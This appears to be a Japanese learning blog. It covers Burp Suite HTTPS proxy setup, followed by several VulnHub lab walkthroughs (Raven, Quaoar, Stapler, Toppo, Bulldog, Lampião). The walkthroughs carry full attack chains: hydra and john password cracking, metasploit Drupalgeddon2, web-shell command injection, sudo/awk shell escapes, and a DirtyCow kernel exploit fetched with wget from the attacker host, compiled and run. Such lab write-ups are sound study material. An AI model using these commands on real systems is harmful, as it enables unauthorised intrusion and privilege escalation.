セキュリティ技術者見習い備忘録

セキュリティ見習いが勉強作業記録をメモする場所

Burp Suiteをローカルプロキシに設定して、HTTPS通信をキャプチャする方法

はじめに

kali linux上でBurp Suiteをローカルプロキシに設定し、HTTPS通信をキャプチャする方法。一部手こずった所があったので備忘録として残す。

手順①(Burp Suiteの起動~ブラウザ設定)

kali linux左メニューよりBurp Suiteを起動。「Temporary project」→「Use Burp defaults」を選択後、「Start Burp」でBurp開始。

Burp Suiteのデフォルトのポート番号は8080となっている。「Proxy」→「Options」タブで設定が確認可能。変更したい場合は「Edit」から変更できる。

f:id:ztetez:20190406144852p:plain

続いてブラウザのプロキシをBurp Suite(IP:127[.]0.0.1、ポート:8080)に設定する。

ブラウザ右上の「Open Menu(≡)」→「Preferences(歯車マーク)」を選択後、最下部までスクロールしNetwork Proxyの「Settings」を選択し、以下のように設定。「OK」をクリックし、設定を反映して終了。

f:id:ztetez:20190406150122p:plain

(参考)FoxyProxyの導入・設定方法

上記でも問題なく設定できるが、プロキシ設定の変更が面倒。そのため、プロキシの切り替えを容易に行える「FoxyProxy(ブラウザの拡張機能)」が推奨。導入方法は以下の通り。

「Open Menu(≡)」→「Add-ons」→「Find more add-ons」を選択後、"FoxyProxy"と検索。「FoxyProxy Standard」を選択し、「+ Add to Firefox」。ちゃんと入ればブラウザ上部に以下のようなアイコンが表示される。

f:id:ztetez:20190406151542p:plain

続いて、Burp Suiteをプロキシに設定する。↑↑のアイコンを選択後、「Options」→「Add」をクリック。以下の様に入力し、「Save」。

f:id:ztetez:20190406152032p:plain

FoxyProxyのアイコンをクリックすると、プロキシが追加されているので、選択。以降は簡単にプロキシ設定を切り替えられる。

f:id:ztetez:20190406152543p:plain

手順②(Burp Suite証明書のインストール)

プロキシをBurp Suiteに設定した状態でgooglehttps://www.google.com)にアクセスしようとすると、ブラウザにBurp Suiteの証明書がインポートされていないため、以下のエラーが表示される。

f:id:ztetez:20190406152933p:plain

 まず、Burp Suiteの証明書をダウンロードする。プロキシに設定したIP:ポート番号(今回の場合は127[.]0.0.1:8080)を検索後、「CA Certificate」を選択し、証明書を保存。

f:id:ztetez:20190406153549p:plain

続いて、ダウンロードした 証明書をブラウザへインポート。

「Open Menu(≡)」→「Preferences(歯車マーク)」をクリック。左メニューから「Privacy & Security」を選択して最下部までスクロール。「View Certificates」をクリック。「Import」より、ダウンロードした証明書を選択。「Trust this CA to identify websites」にチェックを入れ、「OK」。

f:id:ztetez:20190406161856p:plain

インポートされたことを確認。

f:id:ztetez:20190406161916p:plain

手順③(security.tls.version.max値の変更)

手順①、②が終われば完了だと思っていたが、googleにアクセスしようとしてもエラーがでたまま。(ここでかなり手こずる)

f:id:ztetez:20190406152933p:plain

以下の設定を行ったら、googleにアクセスでき、Burp Suiteで通信をキャプチャできた。

ブラウザで「about:config」を検索後、検索窓に「tls」を入力。「security.tls.version.max」の値を"3"に変更(デフォルトは"4")。

f:id:ztetez:20190406164116p:plain

f:id:ztetez:20190406164155p:plain

参考

security.tls.version.min/maxはブラウザが対応するTLSのバージョンの最小(min)と最大(max)の値。

Security.tls.version.* - MozillaZine Knowledge Base

 

【VulnHub】Raven: 1 -Walkthrough-

はじめに

今回は以下のVM

今回はVMware Workstation(NAT)を使った。flagは4つあるとのこと。

情報収集

ターゲットのIPアドレスの特定から。(攻撃側(kali linux)のIPアドレスは192.168.196.129)

#netdiscover -r 192.168.196.0/24

-r:スキャン範囲の指定。デフォルトでは、192.168.0.0/16。

f:id:ztetez:20190429015444p:plain

続いてポートスキャン。

#nmap -sV -A -p- 192.168.196.131

  • -sV:バージョンスキャン
  • -A:詳細情報取得
  • -p-:フルポートスキャン

f:id:ztetez:20190210233240p:plain

22番(ssh)、80番(http)、111番、33921番がopen。ブラウザで80番へアクセス。

f:id:ztetez:20190210233705p:plain

右上にあるリンクに一つずつアクセスし、ソースを「flag」で文字列検索。SERVICEのリンク先にflag1を発見。

f:id:ztetez:20190210233756p:plain

dirbでリンクされていないコンテンツを探す。

#dirb http://192.168.196.131

f:id:ztetez:20190210234023p:plain

f:id:ztetez:20190210234243p:plain

/vendor/と/wordpress/がある。/vendor/にアクセス。

f:id:ztetez:20190210234512p:plain

PATHが怪しかったが、特に有力な情報ではなかった。

f:id:ztetez:20190210234545p:plain

ブラウザから、/wordpress/wp-adminへアクセスしてみたが、アクセスできなかった。URLを見てみると「raven.local」へリダイレクトされている。(dirbの結果にも301とある。)

f:id:ztetez:20190210235012p:plain

そこで、以下のようにhostsファイルに追記したことでアクセスできるようになった。

f:id:ztetez:20190210235322p:plain

wordpress脆弱性診断ツールであるwpscanを使う。

#wpscan --url http://raven.local/wordpress -e u

  • --url:URLの指定
  • -e u:ユーザ名の列挙

f:id:ztetez:20190211000532p:plain

f:id:ztetez:20190211000546p:plain

「michael」、「steven」がいることが分かった。

侵入

以下のuser.lstを用いて22番をhydraでパスワードクラックする。辞書ファイルには事前に解凍したrockyou.txtと、-e nsrオプションを用いる。

f:id:ztetez:20190211001859p:plain

#hydra -L user.lst -P /usr/share/wordlists/rockyou.txt -e nsr ssh://192.168.196.131

  • -L:ユーザリストファイルの指定
  • -P:パスワードリストファイルの指定
  • -e nsrnは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定 

f:id:ztetez:20190211001926p:plain

ユーザ名:michael、パスワードmichaelを発見。これを使ってsshへアクセス。

f:id:ztetez:20190211002152p:plain

入れた。flagを探す。

&find / -name flag* 2>/dev/null

f:id:ztetez:20190211002257p:plain

 /var/www配下にflag2.txtを発見。

f:id:ztetez:20190211002742p:plain

 権限昇格

rootへの権限昇格を目指す。前回記事同様、wordpressの設定ファイル(wp-config.php)を見に行く。

f:id:ztetez:20190211003543p:plain

MySQLの認証情報、ユーザ名:root,、パスワード:R@v3nSecurityを発見。この情報を使って権限昇格を試みたが失敗。

f:id:ztetez:20190211003750p:plain

sudoで実行できるコマンドの確認。なし。

$sudo -l 

  • -l:実行を許可サレタコマンド、パスを一覧表示

f:id:ztetez:20190211004202p:plain

SUIDが設定されたファイルの中でも権限昇格に使えそうなものはない。

$find / -perm -4000 -type f 2>/dev/null

f:id:ztetez:20190211004316p:plain

そもそも発見したのはMySQLのアカウント情報。MySQLへアクセスして、そこから権限昇格を目指す。

MySQLのポート(3306)が開いていることも確認。

f:id:ztetez:20190211004533p:plain

発見したアカウント情報でMySQLへログイン成功。

$mysql -u root -p

  • -u:ユーザ名指定
  • -p:パスワード指定

 以下の手順でテーブルを見つける。

mysql>show databases;

mysql>use wordpress;

mysql>show tables;

ここまでで、「wp_users」というテーブルの存在が確認できた。

f:id:ztetez:20190211093049p:plain

続いて、SQL文で「wp-users」テーブルを見に行く。

mysql>select * from users;

f:id:ztetez:20190211093158p:plain

michael、stevenのパスワードハッシュを発見。mychaelのパスワードは既に判明している(michael)。stevenのパスワードが分かれば、そこからrootへの昇格ができそう。

john the ripperでパスワードクラックするために、まずは以下のようなpasshash.txtを作成。

f:id:ztetez:20190211093504p:plain

 パスワードクラック。

#john passhash.txt

f:id:ztetez:20190211093639p:plain

結構時間はかかったが、stevenのパスワードが見つかった。

stevenとして侵入することに成功。

f:id:ztetez:20190211093738p:plain

 sudoで実行可能なコマンドを探す。

$sudo -l

  • -l:実行を許可されたコマンド、パスを一覧表示

f:id:ztetez:20190211094026p:plain

 pythonが使えるので、以下を実行。

$sudo python -c "import pty; pty.spawn('/bin/bash')"

rootに権限昇格できた。/root配下にflag4.txtを発見。

f:id:ztetez:20190211101600p:plain

flag3

flag3よりflag4が先に見つかったが、flag3は以下の手順で見つけた。

Username:steven、Password:pink84でログイン。

f:id:ztetez:20190211102132p:plain

ログイン後、左メニューのPostsにflag3を発見。

f:id:ztetez:20190211102333p:plain

 

 

【VulnHub】hackfest2016: Quaoar -Walkthrough-

はじめに

今回は以下のVM

今回はVMware Workstation(NAT)を使った。起動後の画面に記載のあるように、以下それぞれのフェーズで1つずつ、計3つのflagがあるとのこと。

  1. Get a shell
  2. Get root access
  3. There is a post exploitation flag on the box

f:id:ztetez:20190210211823p:plain

今回は、上記3つを見出しにして記載する。

Get a shell

ターゲットのIPアドレスの特定から。(攻撃側(kali linux)のIPアドレスは192.168.196.129)

#netdiscover -r 192.168.196.0/24

  • -r:スキャン範囲の指定。デフォルトでは、192.168.0.0/16。

f:id:ztetez:20190429015359p:plain

続いてポートスキャン。

#nmap -sV -A -p- 192.168.196.130

  • -sV:バージョンスキャン
  • -A:詳細情報取得
  • -p-:フルポートスキャン

f:id:ztetez:20190210212037p:plain

22番(ssh)、53番(dns)、80番(http)、139番(netbios-ssn)、143番(imap)、445番(smb),993番(imaps)、995番(pop3s)がopen。

ブラウザで80番へアクセス。

f:id:ztetez:20190210212401p:plain

dirbでリンクされていないコンテンツの調査。

#dirb http://192.168.196.129

f:id:ztetez:20190210212527p:plain

色々出てきた。wordpressという文字列もある。まずはrobots.txtへ。

f:id:ztetez:20190210213952p:plain

  Allowに記載のある/wordpress/は以下のような画面。左下にはログインページへのリンクもある。

f:id:ztetez:20190210214020p:plainwordpress脆弱性診断ツールであるwpscanを使う。

#wpscan --url http://192.168.196.130/wordpress -e u

  • --url:URLの指定
  • -e u:ユーザ名の列挙

f:id:ztetez:20190210214421p:plain

f:id:ztetez:20190210214437p:plain

 「admin」、「wpuser」というユーザがいることが分かった。ログインページのリンクよりログインページに移動し、Username「admin」、Password「admin」を試行したら入れた。

f:id:ztetez:20190210215100p:plain

 metasploitでwordpressのexploit codeを探す。shellを奪うには、以下が使えそう。

f:id:ztetez:20190210215523p:plain

判明したアカウント情報などを用いて以下のように設定。

f:id:ztetez:20190210215621p:plain

実行すると、meterpreterセッションが確立できた。現在のユーザ名はwww-data。bashを使うために以下を実行。

meterpreter>shell
python -c "import pty; pty.spawn('/bin/bash')" 

 /home/wpadminにflagを発見。

f:id:ztetez:20190210221206p:plain

 Get root access

rootへの権限昇格を目指す。sudoで実行できるコマンドやSUIDが設定されたファイルを探したが見つからなかった。wordpressの設定ファイル的なものを探していたら、以下のサイトを発見。

wp-config.php の編集 - WordPress Codex 日本語版

wp-config.phpファイルはWordPress のインストールを行なう上で最も重要なファイルの一つです。このファイルは WordPress のファイルディレクトリのルート直下に置かれ、中にはMySQLデータベースへの接続情報などサイトの基礎となる詳細な構成情報が含まれます。

とのこと。/var/www/wordpress配下にあるwp-config.phpを確認すると、上記記載通りMySQLのアカウント情報があった。(しかもroot)

f:id:ztetez:20190210224142p:plain

このアカウント情報でsshへアクセス成功。/rootにflagを発見。

f:id:ztetez:20190210224327p:plain

There is a post exploitation flag on the box

3つ目のflagを探す。post exploitationとは侵入を成功した後の行動(例えば横感染、永続化)を指す。ファイル名が「flag」で始まるものを探してみた。

#find / -name flag*

f:id:ztetez:20190212233621p:plain
出てきた2つは既に上記で見つけたもの。3つ目のflag.txtはなさそうなので何かのファイルの中にflagの記載があると予想できる。永続化だとcronが考えられる。/etc/cron.dに「php5」というファイルが存在。中を確認し、3つ目のflagを発見。

f:id:ztetez:20190210225646p:plain

【VulnHub】Stapler: 1 -Walkthrough-

はじめに

今回は以下のVM

環境構築は、以下を参考。

ztetez.hatenablog.com

情報収集

ターゲットのIPアドレスの特定から。(攻撃側(kali linux)のIPアドレスは10.0.10.10)

#netdiscover -r 10.0.10.0/24

-r:スキャン範囲の指定。デフォルトでは、192.168.0.0/16。

f:id:ztetez:20190429015255p:plain

続いてポートスキャン。

#nmap -sV -A -p- 10.0.10.13

  • -sV:バージョンスキャン
  • -A:詳細情報取得
  • -p-:フルポートスキャン

f:id:ztetez:20190130201109p:plain

f:id:ztetez:20190130201116p:plain

21番(ftp)、22番(ssh)、53番(dns)、80番(http)、139番(netbios-ssn)、666番(doom)、3306番(mysql)、12380番(http)がopen。

21番の「Anonymous logon allowed」が気になるが、まずは80番から。ブラウザでアクセスしたが、404が返ってきた。

f:id:ztetez:20190130202805p:plain

dirbでも何も見つからない。

#dirb http://10.0.10.13

f:id:ztetez:20190130202822p:plain

 気になっていた21番の調査を開始。kali linuxにはftpが入っていなかったので、インストール。

#apt-get install ftp

 ポートスキャンの結果にある「Anonymous logon」とはユーザ登録を行っていないユーザでもAnonymous(匿名)でFTPサーバへファイルを送受信できるという物。ログインする際にはユーザ名に「anonumous」、パスワードは任意(空欄OK)。

※マナーではメールアドレスを入力するらしい。

パスワードは空欄OKなようなので、空欄でログインしてみる。

f:id:ztetez:20190201113359p:plain

入れた。ファイルのリストを確認すると「note」というファイルがあった。ftpだとcatは使えない。noteをローカルに持ってくる。

ftp>get note

f:id:ztetez:20190201113453p:plain

noteの中身は↓↓

f:id:ztetez:20190201113635p:plain

Elly、Johnという名前が見つかるので、hydraでパスワードクラックするためにユーザリストを作成。パスワードは候補ないからhydraのオプションでなんとかする。

f:id:ztetez:20190201114500p:plain

侵入

21番(ftp)に対してパスワードクラック。

#hydra -L user.lst -e nsr ftp://10.0.10.13

※-L:ユーザリストファイルの指定

※-e nsr:nは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定

f:id:ztetez:20190201115628p:plain

ユーザ名「elly」、パスワード「ylle」を発見。オプションnsrでいうとrで発見できたということ。同じものを22番(ssh)に試したが、ヒットしなかった。

見つけたアカウントでftpへログインした。ファイルのリストに「passwd」を発見。

f:id:ztetez:20190201121728p:plain

 ローカルに落とす。

ftp>get passwd

f:id:ztetez:20190201121758p:plain passwdファイルの中身を確認すると、存在するユーザがわかる。

f:id:ztetez:20190201122120p:plain

一番左の列のユーザ名のみを抽出し、ユーザリスト(user2.lst)を作成する。

#cat passwd | cut -f 1 --delim=":" passwd > user2.lst 

f:id:ztetez:20190201123103p:plain

user2.lstを使って、hydraでsshパスワードクラック。

#hydra -L user2.lst -e nsr -t 4 ssh://10.0.10.13

※-L:ユーザリストファイルの指定

※-e nsr:nは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定

※-t: タスク数の指定

f:id:ztetez:20190201123910p:plain

 ユーザ名「SHayslett」、パスワード「SHayslett」を発見。オプションnsrでいうとsで発見できたということ。発見したアカウントでsshにログインする。以下のコマンドで、カーネル、OSのバージョンを調査。

$uname -a

$cat /etc/issue(ホチキスが表示)

uname -aよりOSは分かったが、バージョンが/etc/issueからは分からなかったので、バージョンは以下で調べた。

$cat /etc/lsb-release

f:id:ztetez:20190201130755p:plain


<参考>

OSのバージョンは以下で調べることができる。

RedHat系:cat /etc/redhat-release

Fedora系:cat /etc/fedora-release

Debian系:cat /etc/debian_version

Ubuntu系:cat /etc/lsb-release 

権限昇格

 Ubuntu16.04でexploit codeを探す。

#searchsploit Ubuntu16.04

f:id:ztetez:20190201165714p:plain

どれか使えるのかを探すのが一番難しい。やみくもに上からやっていくのも嫌なので今回は以下の観点で選んだ。

  • カーネル4.4.0-21のもの
  • Privilege escalation(権限昇格)できるもの
  • 32bit(x86)が対象のもの ※64bitならuname -aしたときに表示される

 とすると上の枠で囲んだものかなと。囲ったものをwgetで持ってくる。

#wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

f:id:ztetez:20190201171716p:plain

 攻撃側(Kali linux)をWebサーバとして、ターゲットからダウンロードさせるため、落としてきた39772.zipを「/var/www/html」へ配置。以下コマンドでApache2を起動する。

#systemctl start apache2.service

 侵入したターゲット上から攻撃側(Kali linux)へアクセスし、39772.zipを持ってくる。(次回からはターゲットもインターネットにつなごうかな)

$wget http://10.0.10.10/39772.zip

f:id:ztetez:20190201173022p:plain

 zipを解凍し、tarファイルを解凍する。

$unzip 39772.zip

$tar -xvf exploit.tar

f:id:ztetez:20190201174417p:plain

あとはコンパイルして、実行すると、rootになれた。

f:id:ztetez:20190201174837p:plain

 exploit codeの使い方は以下サイトの下のほうに画像付きで説明されていたので、迷うことなくいけた。

www.exploit-db.com

 /rootフォルダに移動し、flagをゲット。

f:id:ztetez:20190201175403p:plain

 

【VulnHub】Toppo: 1 -Walkthrough-

はじめに

今回は以下のVM

環境構築は、以下を参考。

ztetez.hatenablog.com

情報収集

ターゲットのIPアドレスの特定から。(攻撃側(kali linux)のIPアドレスは10.0.10.10)

#netdiscover -r 10.0.10.0/24

-r:スキャン範囲の指定。デフォルトでは、192.168.0.0/16。

f:id:ztetez:20190429015035p:plain

VMを起動した段階で表示もされてた。

f:id:ztetez:20190129231730p:plain

続いてポートスキャン。

#nmap -sV -A -p- 10.0.10.11

  • -sV:バージョンスキャン
  • -A:詳細情報取得
  • -p-:フルポートスキャン

f:id:ztetez:20190129231913p:plain

23番(ssh)、80番(http)、111(rpcbind)、59046番がopen。80番から調査スタート。

ブラウザからアクセスすると、ブログが表示された。

f:id:ztetez:20190129233854p:plainリンクされていないコンテンツを調査。

#dirb http://10.0.10.11

f:id:ztetez:20190129233925p:plain

/admin/にアクセスすると、notes.txtがあった。中を見てみると、パスワードと、数字に挟まれたユーザ名らしきもの(ted)を発見。

f:id:ztetez:20190129234451p:plain

 侵入

ユーザ名:"ted"、パスワード:"12345ted123"でsshアクセスに成功した。

f:id:ztetez:20190130000106p:plain

内部探査

sudoで許可されたコマンドを調査するために以下を実行したが、command not foundとなったので/etc/sudoersを確認した。

$sudo -l

  • -l:実行を許可されたコマンド、パスを一覧表示

f:id:ztetez:20190130000959p:plain

awkコマンドのみrootとして実行できることが分かった。awkを使ってOSコマンドを使う方法を調査した結果、参考になるサイトを発見。

orebibou.com

以下のコマンドを実行すればよいとのこと。

awk '{system("OSのコマンド")}'

上記の実行方法で/rootフォルダの中身を確認すると、flag.txtを発見。同じようにして、flag.txtの中身を確認できた。

$awk '{system("ls -a /root")}'

$awk '{system("cat /root/flag.txt")}'

f:id:ztetez:20190130003028p:plain

補足 

以下を実行するとシェルが奪える。

$awk '{system("/bin/sh")}'

f:id:ztetez:20190130191454p:plain

以下の方法でもOK。python2.7がSUIDが設定されていたので、これを利用してシェルをゲット。

$find / -perm -4000 -type f 2>/dev/null

f:id:ztetez:20190130192530p:plain

 

【VulnHub】Bulldog: 1 -Walkthrough-

はじめに

今回は以下のVM

環境構築は、以下を参考。

ztetez.hatenablog.com

情報収集

ターゲットのIPアドレスの特定から。(攻撃側(kali linux)のIPアドレスは10.0.10.10)

#netdiscover -r 10.0.10.0/24

  • -r:スキャン範囲の指定。デフォルトでは、192.168.0.0/16。

f:id:ztetez:20190429015035p:plain

※今回のVMは起動すればIPは表示されていた。

f:id:ztetez:20190125221341p:plain

続いてポートスキャン。

#nmap -sV -A -p- 10.0.10.11

  • -sV:バージョンスキャン
  • -A:詳細情報取得
  • -p-:フルポートスキャン

f:id:ztetez:20190125221911p:plain

23番(ssh)、80番(http)、8080番(http)がopen。80番、8080番は同じかな。80番からスタート。

ブラウザでアクセスすると、ブルドック(犬)が現れる。とりあえず、リンクされていないコンテンツを調査する。

#dirb http://10.0.10.11

f:id:ztetez:20190125234048p:plain

robots.txtは有益な情報なく、/admin/はDjangoのログインフォーム。

/dev/の下部にはメールアドレスの記載があった。

f:id:ztetez:20190125235328p:plain

/dev/shellには"Webシェルを利用するためには認証しろ"という記載が有り。/adminからログインすれば使えるようになりそう。

f:id:ztetez:20190125235609p:plain

侵入

メールアドレスのあった/devのページソースを見ると、コメントになっているでパスワードのハッシュを発見。40桁(160bit)なので、SHA1と予想。

f:id:ztetez:20190126000836p:plain

john the ripperでパスワード解析をするために、以下のようなpasshash.txtを用意。

f:id:ztetez:20190126002010p:plain

 john the ripperの辞書ファイル(rockyou.txt)を利用するため、事前に解凍しておく。

#gunzip /user/share/wordlists/rockyou.txt.gz

<参考>

https://bytesoverbombs.io/cracking-everything-with-john-the-ripper-d434f0f6dc1c

 

jotn the ripperで指定できるハッシュアルゴリズムの確認方法は以下の通り。

#john --list=formats

f:id:ztetez:20190126005342p:plain

上述の通りSHA1を予想しているので、アルゴリズムにはRaw-SHA1を指定。

#john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA1 passhash.txt

  • --wordlist:総当たりする辞書ファイルの指定
  • --format:アルゴリズムの指定

f:id:ztetez:20190126010158p:plain

 2ユーザのパスワードを特定できた。このアカウント情報を利用して/adminにログイン成功。

 

<参考>

下記のサイトでも特定できた。

https://hashkiller.co.uk/sha1-decrypter.aspx

f:id:ztetez:20190127020443p:plain

 

内部探査

使用できるコマンドは限られているが、Webシェルも利用できた。Webシェル上で以下を実行し、root以外の有効なユーザとして、bulldogadminとdjangoを発見。

f:id:ztetez:20190127021555p:plain

/home/bukkdogadminに「.hiddenadmindirectory」という名前の怪しいディレクトリを発見。

f:id:ztetez:20190127022915p:plain

ディレクトリの中には、「customPermissionAPP」と「note」がある。

f:id:ztetez:20190127023031p:plain

"&&"もしくは"||"を使うことで、許可されたコマンド以外も実行できた。

f:id:ztetez:20190127023607p:plain

ELFファイルのをstringsで確認。

f:id:ztetez:20190127024229p:plain

枠内の末尾"H"を取り除いて、文字列をつなげると、"SUPERultimatePASSWORDyouCANTget" と意味ありげな文章が出てくる。noteの文章をヒントに、djangoユーザで上記文字列を使って23番ポート(ssh)へアクセスしてみる。

f:id:ztetez:20190127025322p:plain

いけた。

権限昇格

あとはsudoで権限昇格。パスワード"SUPERultimatePASSWORDyouCANTget"を入力congrats.txtがあったので、完。 

f:id:ztetez:20190127030503p:plain



 

【VulnHub】Lampião: 1 -Walkthrough-

はじめに

Vulnhubを使ってのペンテスト勉強を開始。VulnhubはDHCPによるIPアドレス割り当てが必要。前回の記事でやり方を紹介しているので、参考に。初めてのWalkthroughなので、かなり丁寧に書きます。

ztetez.hatenablog.com

今回Walkthrough(CTFでいうWriteup)を書いていくのは以下のVM

情報収集

まずはターゲットのIPアドレスの特定から。

#netdiscover -r 10.0.10.0/24 

  • -r:スキャン範囲を指定。デフォルトでは、192.168.0.0/16に対してスキャン。

f:id:ztetez:20190429015035p:plain

10.0.10.254は前回記事で設定したDHCPサーバのIPアドレス

次に、このターゲット上で開いているポート(起動しているサービス)を 調査。

#nmap -sV -A -p- 10.0.10.11

  • -sV:バージョンスキャン
  • -A:詳細情報取得
  • -p-:フルポートスキャン

f:id:ztetez:20190124212607p:plain
22番(ssh)、80番(http)、1898番(http)のポートがopen。80番(http)から調査。

ブラウザ上でターゲットのIPアドレス(10.0.10.11)を入力すると、以下のような画面が表示された。

f:id:ztetez:20190120234652p:plain

なんて書いてあるのか不明。これ以上進めなかったので、1898番へアクセス。

f:id:ztetez:20190120234926p:plain

ブログのようなものが表示された。今の時点ではUsername、Password共に不明。

Webコンテンツスキャナである、dirbを使ってリンクされていないコンテンツを探索。

#dirb http://10.0.10.11:1898

f:id:ztetez:20190121000110p:plain

以下robots.txtの内容。

f:id:ztetez:20190121000522p:plain

Disallowと書かれている所を上から順にアクセスすると、「/CHANGELOG.txt」にDrupalのバージョンの記載を発見。

f:id:ztetez:20190121000826p:plain

侵入 

上記で得た情報で侵入を目指します。DrupalのExploit codeをEXPLOIT DATABASEで探す。

f:id:ztetez:20190121225709p:plain

このあたりがいけそう。kali linuxにはEXPLOIT DATABASE内のExploit codeを探してくれるコマンド(searchesploit)があるっぽいので、試した。

#searchesploit drupal

f:id:ztetez:20190121230301p:plain

Drupalgeddon2、Drupalgeddon3共にmetasploiにもあるとのこと。Drupalgeddon3は(Authenticated)と書かれているように、認証が必要そうなので、Drupalgeddon2を使う。

metasploitを起動。

#msfconsole

Drupalに関するExploit codeのパスを探す。

>search drupal

f:id:ztetez:20190121230843p:plain

これを使う。以下2つを実行。

>use exploit/unix/webapp/drupal_drupalgeddon2

>show options

f:id:ztetez:20190121232248p:plain

RHOST(Remote Host)をターゲットのIPアドレスである10.0.10.11に、RPORT(Remote Port)をポート番号1898に設定。

>set RHOST 10.0.10.11

>set RPORT 1898

>show options

f:id:ztetez:20190121233203p:plain

設定完了。Exploit codeを実行。

>exploit

f:id:ztetez:20190121233734p:plain

meterpreterセッションが確立したので侵入成功。どのユーザで侵入できたか確認。また、etc/passwdファイルより、どんなユーザがいるのか見てみる。

>getuid

>cat /etc/passwd

f:id:ztetez:20190121234420p:plain

 現在はwww-dataという名前のユーザ。tiagoというユーザも確認できる。今のままでは使用できるコマンドが限られてる。bashを使用して内部探索するために、以下を実行。

>shell

python -c "import pty; pty.spawn('/bin/bash')"

f:id:ztetez:20190121234815p:plain

これでbashシェルが使えるようになった。

権限昇格

root権限への昇格を目指す。以下のコマンドでカーネルのバージョンと、OSのバージョンを確認。

$uname -a

$cat /etc/issue

f:id:ztetez:20190123233307p:plain

このカーネルのバージョンだと、CVE-2016-5195が突けそう。Referencesにある

Exploit-DB:40847をダウンロードし、攻撃側(kali linux)の「/var/www/html」へ配置。以下コマンドでApache2を起動し、Webサーバとする。

systemctl start apache2.service

wgetでkali linuxから40847.cpp落とす。(とりあえず/tmpへ移動)

$wget http://10.0.10.10/40847.cpp

f:id:ztetez:20190124001918p:plain

このExploit codeの最上部にはコンパイル方法が書かれていたので、それをそのまま実行。

$g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

f:id:ztetez:20190124002616p:plain

すると、dcowというELFファイルが出来上がるので、実行。

$./dcow

rootパスワードがdirtyCowFunに変更された。後はrootになることで、/rootにあるflag.txtの中身を確認できた。

f:id:ztetez:20190124003944p:plain

侵入 別解

上記では、DrupalのExploit codeを利用して侵入しましたが、別の方法もあったのでそちらも試してみた。ssh(22番)で侵入する。

以下の図より、記事の投稿者は「tiago」と「Eder」とあるため、sshで侵入する際のユーザ名の候補とする。

f:id:ztetez:20190124205210p:plain

hydraを使って、ユーザリストとパスワードリストを作りたいので、この2人を含んだuser.lstを作成する。

f:id:ztetez:20190124205622p:plain

パスワードはページ内にあることを期待して、以下のコマンドでパスワードリストを作成。

#cewl -w pass.lst http://10.0.10.11:1898/?q=node/1

  • -w:出力ファイルの指定

f:id:ztetez:20190124210358p:plain

ユーザリスト(user.lst)とパスワードリスト(pass.lst)が完成したので、hydraで総当たりする。

hydra -L user.lst -P pass.lst -t 4 ssh://10.0.10.11

  • -L:ユーザリストファイルの指定
  • -P:パスワードリストファイルの指定
  • -t:タスク数の指定

f:id:ztetez:20190124211701p:plain

ユーザ名、パスワードを発見。これを使って侵入成功。

f:id:ztetez:20190124212021p:plain